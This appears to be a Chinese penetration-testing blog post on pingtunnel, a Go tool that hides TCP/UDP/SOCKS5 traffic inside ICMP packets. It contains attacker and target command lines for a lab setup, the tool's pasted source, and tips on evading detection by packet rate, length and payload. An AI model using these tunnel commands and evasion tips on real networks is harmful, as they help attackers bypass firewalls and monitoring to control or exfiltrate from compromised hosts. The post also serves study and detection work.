目录

  • 前言
  • 一、概述
    • 1、简介
    • 2、原理
    • 3、使用
      • (1)直连出网
      • (2)跳板出网
  • 二、实践
    • 1、场景
    • 2、建立隧道
      • (1)攻击机
      • (2)目标机
      • (3)nc
    • 3、抓包看看
  • 三、探索
    • 1、源码与分析
      • (1)main.go
      • (2)pingtunnel.go
      • (3)client.go
      • (4)server.go
    • 2、检测与绕过
      • (1)异常ICMP数据包数量
      • (2)异常ICMP包长度
      • (3)payload内容
  • 结语

前言

本文研究ICMP隧道的一个工具,pingtunnel

github:https://github.com/esrrhs/pingtunnel

一、概述

1、简介

持续更新,来自腾讯大佬,用Go编写,把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  • 目标机(客户端)可以ping出去
  • 目标机可能要管理员权限
  • windows要装有wincap

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)直连出网

攻击机(服务端)启动隧道并关闭系统默认的 ping

sudo ./pingtunnel -type server
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

目标机(客户端)

# 转发 sock5
./pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1
# 转发 tcp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
# 转发 udp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

(2)跳板出网

跳板机

./pingtunnel -x 123456 #设置密码

攻击机

./pingtunnel -p <跳板机ip> -lp 1080 -da <目标机ip> -dp 3389 -x 123456-p 指定ICMP隧道另一端的IP-lp:指定本地监听的端口-da:指定要转发的目标机器的IP-dp:指定要转发的目标机器的端口-x:指定连接密码

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

(1)攻击机

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
[sudo] ./pingtunnel -type server -key 123456 #设置密码

(2)目标机

./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

(3)nc

此时隧道建立成功

然后就可以进行下一步,比如nc

目标机

攻击机收到信息

3、抓包看看

建立连接时的心跳包和ARP寻址


nc命令时的包

三、探索

1、源码与分析

(1)main.go

主要是使用方法,调用server和client,然后有个过滤国家的filter可以忽略掉(调用的库有点多有点大)

package mainimport ("flag""fmt""github.com/esrrhs/go-engine/src/common" "github.com/esrrhs/go-engine/src/geoip""github.com/esrrhs/go-engine/src/loggo""github.com/esrrhs/go-engine/src/pingtunnel""net""net/http"_ "net/http/pprof""strconv""time"
)var usage = `通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.Usage:// serverpingtunnel -type server// client, Forward udppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455// client, Forward tcppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1// client, Forward sock5, implicitly open tcp, so no target server is neededpingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1-type     服务器或者客户端client or server服务器参数server param:-key      设置的密码,默认0Set password, default 0-nolog    不写日志文件,只打印标准输出,默认0Do not write log files, only print standard output, default 0 is off-noprint  不打印屏幕输出,默认0Do not print standard output, default 0 is off-loglevel 日志文件等级,默认infolog level, default is info-maxconn  最大连接数,默认0,不受限制the max num of connections, default 0 is no limit-maxprt   server最大处理线程数,默认100max process thread in server, default 100-maxprb   server最大处理线程buffer数,默认1000max process thread's buffer in server, default 1000-conntt   server发起连接到目标地址的超时时间,默认1000msThe timeout period for the server to initiate a connection to the destination address. The default is 1000ms.客户端参数client param:-l        本地的地址,发到这个端口的流量将转发到服务器Local address, traffic sent to this port will be forwarded to the server-s        服务器的地址,流量将通过隧道转发到这个服务器The address of the server, the traffic will be forwarded to this server through the tunnel-t        远端服务器转发的目的地址,流量将转发到这个地址Destination address forwarded by the remote server, traffic will be forwarded to this address-timeout  本地记录连接超时的时间,单位是秒,默认60sThe time when the local record connection timed out, in seconds, 60 seconds by default-key      设置的密码,默认0Set password, default 0-tcp      设置是否转发tcp,默认0Set the switch to forward tcp, the default is 0-tcp_bs   tcp的发送接收缓冲区大小,默认1MBTcp send and receive buffer size, default 1MB-tcp_mw   tcp的最大窗口,默认20000The maximum window of tcp, the default is 20000-tcp_rst  tcp的超时发送时间,默认400msTcp timeout resend time, default 400ms-tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0-tcp_stat 打印tcp的监控,默认0Print tcp connection statistic, default 0 is off-nolog    不写日志文件,只打印标准输出,默认0Do not write log files, only print standard output, default 0 is off-noprint  不打印屏幕输出,默认0Do not print standard output, default 0 is off-loglevel 日志文件等级,默认infolog level, default is info-sock5    开启sock5转发,默认0Turn on sock5 forwarding, default 0 is off-profile  在指定端口开启性能检测,默认0不开启Enable performance detection on the specified port. The default 0 is not enabled.-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdbThe data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`func main() {defer common.CrashLog()t := flag.String("type", "", "client or server")listen := flag.String("l", "", "listen addr")target := flag.String("t", "", "target addr")server := flag.String("s", "", "server addr")timeout := flag.Int("timeout", 60, "conn timeout")key := flag.Int("key", 0, "key")tcpmode := flag.Int("tcp", 0, "tcp mode")tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")nolog := flag.Int("nolog", 0, "write log file")noprint := flag.Int("noprint", 0, "print stdout")tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")loglevel := flag.String("loglevel", "info", "log level")open_sock5 := flag.Int("sock5", 0, "sock5 mode")maxconn := flag.Int("maxconn", 0, "max num of connections")max_process_thread := flag.Int("maxprt", 100, "max process thread in server")max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")profile := flag.Int("profile", 0, "open profile")conntt := flag.Int("conntt", 1000, "the connect call's timeout")s5filter := flag.String("s5filter", "", "sock5 filter")s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")flag.Usage = func() {fmt.Printf(usage)}flag.Parse()if *t != "client" && *t != "server" {flag.Usage()return}if *t == "client" {if len(*listen) == 0 || len(*server) == 0 {flag.Usage()return}if *open_sock5 == 0 && len(*target) == 0 {flag.Usage()return}if *open_sock5 != 0 {*tcpmode = 1}}if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID {fmt.Println("set tcp win too big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))return}// 记录日志level := loggo.LEVEL_INFOif loggo.NameToLevel(*loglevel) >= 0 {level = loggo.NameToLevel(*loglevel)}loggo.Ini(loggo.Config{Level:     level,Prefix:    "pingtunnel",MaxDay:    3,NoLogFile: *nolog > 0,NoPrint:   *noprint > 0,})loggo.Info("start...")loggo.Info("key %d", *key)if *t == "server" {s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)if err != nil {loggo.Error("ERROR: %s", err.Error())return}loggo.Info("Server start")err = s.Run()if err != nil {loggo.Error("Run ERROR: %s", err.Error())return}} else if *t == "client" {loggo.Info("type %s", *t)loggo.Info("listen %s", *listen)loggo.Info("server %s", *server)loggo.Info("target %s", *target)if *tcpmode == 0 {*tcpmode_buffersize = 0*tcpmode_maxwin = 0*tcpmode_resend_timems = 0*tcpmode_compress = 0*tcpmode_stat = 0}// 过滤国家,如果不是翻墙可以忽略if len(*s5filter) > 0 {err := geoip.Load(*s5ftfile)if err != nil {loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())return}}filter := func(addr string) bool {if len(*s5filter) <= 0 {return true}taddr, err := net.ResolveTCPAddr("tcp", addr)if err != nil {return false}ret, err := geoip.GetCountryIsoCode(taddr.IP.String())if err != nil {return false}if len(ret) <= 0 {return false}return ret != *s5filter}c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,*tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,*tcpmode_stat, *open_sock5, *maxconn, &filter)if err != nil {loggo.Error("ERROR: %s", err.Error())return}loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())err = c.Run()if err != nil {loggo.Error("Run ERROR: %s", err.Error())return}} else {return}if *profile > 0 {go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)}for {time.Sleep(time.Hour)}
}

(2)pingtunnel.go

ICMP包的构造和收发,其中ICMP包和IP包的构造直接从net库导入,收发主要是内容填充和一些error的注意

package pingtunnelimport ("encoding/binary""github.com/esrrhs/go-engine/src/common""github.com/esrrhs/go-engine/src/loggo""github.com/golang/protobuf/proto""golang.org/x/net/icmp""golang.org/x/net/ipv4""net""sync""time"
)func sendICMP(id int, sequence int, conn icmp.PacketConn, server *net.IPAddr, target string,connId string, msgType uint32, data []byte, sproto int, rproto int, key int,tcpmode int, tcpmode_buffer_size int, tcpmode_maxwin int, tcpmode_resend_time int, tcpmode_compress int, tcpmode_stat int,timeout int) {m := &MyMsg{Id:                  connId,Type:                (int32)(msgType),Target:              target,Data:                data,Rproto:              (int32)(rproto),Key:                 (int32)(key),Tcpmode:             (int32)(tcpmode),TcpmodeBuffersize:   (int32)(tcpmode_buffer_size),TcpmodeMaxwin:       (int32)(tcpmode_maxwin),TcpmodeResendTimems: (int32)(tcpmode_resend_time),TcpmodeCompress:     (int32)(tcpmode_compress),TcpmodeStat:         (int32)(tcpmode_stat),Timeout:             (int32)(timeout),Magic:               (int32)(MyMsg_MAGIC),}mb, err := proto.Marshal(m)if err != nil {loggo.Error("sendICMP Marshal MyMsg error %s %s", server.String(), err)return}body := &icmp.Echo{ID:   id,Seq:  sequence,Data: mb,}msg := &icmp.Message{Type: (ipv4.ICMPType)(sproto),Code: 0,Body: body,}bytes, err := msg.Marshal(nil)if err != nil {loggo.Error("sendICMP Marshal error %s %s", server.String(), err)return}conn.WriteTo(bytes, server)
}func recvICMP(workResultLock *sync.WaitGroup, exit *bool, conn icmp.PacketConn, recv chan<- *Packet) {defer common.CrashLog()(*workResultLock).Add(1)defer (*workResultLock).Done()bytes := make([]byte, 10240)for !*exit {conn.SetReadDeadline(time.Now().Add(time.Millisecond * 100))n, srcaddr, err := conn.ReadFrom(bytes)if err != nil {nerr, ok := err.(net.Error)if !ok || !nerr.Timeout() {loggo.Info("Error read icmp message %s", err)continue}}if n <= 0 {continue}echoId := int(binary.BigEndian.Uint16(bytes[4:6]))echoSeq := int(binary.BigEndian.Uint16(bytes[6:8]))my := &MyMsg{}err = proto.Unmarshal(bytes[8:n], my)if err != nil {loggo.Debug("Unmarshal MyMsg error: %s", err)continue}if my.Magic != (int32)(MyMsg_MAGIC) {loggo.Debug("processPacket data invalid %s", my.Id)continue}recv <- &Packet{my: my,src:    srcaddr.(*net.IPAddr),echoId: echoId, echoSeq: echoSeq}}
}type Packet struct {my      *MyMsgsrc     *net.IPAddrechoId  intechoSeq int
}const (FRAME_MAX_SIZE int = 888FRAME_MAX_ID   int = 1000000
)

(3)client.go

800多行。。。主要是由于要支持TCP、UDP、SOCKS5

(4)server.go

同样是800多行。。

2、检测与绕过

(1)异常ICMP数据包数量

如图是nc期间,1s内有10个包

考虑将包的间隔定死为ping的间隔
或者鱼目混珠掩护

(2)异常ICMP包长度

如图是nc传信息时的包,长度异常

考虑将内容切分,限制长度,收到后再拼装

(3)payload内容

躲不过去的payload内容检测

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

加密混淆不知道效果如何,视规则而定?

结语

用go写的icmp隧道,比其他icmp隧道要牛一点

内网渗透系列:内网隧道之pingtunnel相关推荐

  1. 内网渗透系列:内网隧道之ICMP隧道

    目录 前言 一.ICMP隧道技术 1.ICMP协议 (1)报文格式 (2)ping 2.ICMP隧道 (1)原理 (2)优缺点 二.ICMP隧道工具 1.icmpsh (1)源码 (2)用法 2.ic ...

  2. 内网渗透系列:内网隧道之icmpsh

    目录 前言 一.概述 1.简介 2.原理 3.使用 二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)隧道建立成功 3.抓包看看 三.探索 1.源码与分析 (1)客户端 (2)服务端 ...

  3. 内网渗透系列:内网信息搜集方法小结2

    目录 前言 一.本机信息搜集 1.用户列表 (1)windows用户列表 (2)分析邮件用户 2.进程列表 3.服务列表 4.端口列表 5.补丁列表 6.本机共享 7.本用户习惯分析 8.获取当前用户 ...

  4. 内网渗透系列之mimikatz的使用以及后门植入

    内网渗透系列之mimikatz的使用以及后门植入 文章目录 内网渗透系列之mimikatz的使用以及后门植入 前言 mimikatz的使用 后门植入 msf永久后门植入 (1)Meterpreter后 ...

  5. 内网渗透系列:信息搜集方法小结2

    目录 前言 一.开源情报(OSINT) 1.whois/反查/相关资产 2.github敏感信息 (1)github邮箱密码爬取 (2)GSIL (3)x-patrol 3.google hackin ...

  6. 内网渗透-Linux内网渗透

    系列文章目录 文章目录 系列文章目录 一.Linux内网渗透 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH ...

  7. 内网渗透(十三)之内网信息收集-收集域环境中的基本信息

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  8. 内网渗透-Windows内网渗透

    内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透 前言 一.信息收集 1.1.SPN 1.2.端口连接 1.3.配置文件 1.4.用户信息 1.6.会话收集 1.7.凭据收 ...

  9. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

最新文章

  1. R语言ggplot2可视化使用vjust和hjust参数对齐图像中的文本注释信息(左对齐、右对齐、居中)实战
  2. 快手开源斗地主AI,入选ICML,能否干得过「冠军」柯洁?
  3. Android Studio 常用快捷键分类整理
  4. WordPress目录和文件介绍
  5. wordpress+lnmp出现 404 Not Found nginx
  6. 如果安装License失败的解决方案
  7. clienttop,clientleft,scrolltop,scrollleft,offsettop,offsetleft全解析
  8. 转载:8个让程序员追悔莫及的职业建议
  9. Spring启动过程——源码分析(finishBeanFactoryInitialization(beanFactory))
  10. 定时任务Quartz配置
  11. 解决递归求快速排序时间复杂度计算
  12. 使用 Python爬虫+OpenCV 通过摄像头 二维码识别 来得到官方接口的反馈数据 从而实现实时准确地 检测健康码状态(获取JS动态数据)
  13. 单面打印机打印双面小册子
  14. 使用selenium自动爬取斗鱼直播平台的所有房间信息
  15. 全球2023年最强和最弱护照排名公布,日本193分排在第一 | 美通社头条
  16. Keil(MDK-ARM)系列教程(八)_在线调试(Ⅰ)
  17. 免费电子书下载网站,不来白嫖一波
  18. 微信号:kcctvy 所谓的专业祛荨麻疹
  19. 2015-2016-2 《Java程序设计》教学进程
  20. Atmel AT91SAM9G20 EMAC控制DM9161调试笔记

热门文章

  1. dec,hex and oct
  2. 回归插补法_没有完美的数据插补法,只有最适合的
  3. spring入门经典教程
  4. zigbee3.0 ZCL_ALARMS用法
  5. 微信小程序实现非swiper组件的自定义伪3D轮播图
  6. poi导出excel添加数据验证
  7. vue3.0分页组件
  8. 如何制作Viz Artist插件-理论篇
  9. PHP跨域处理 图片跨域 接口跨域 后端nginx的cors设置
  10. python调用按键精灵插件_按键精灵自动寻路系列换算地图坐标寻路法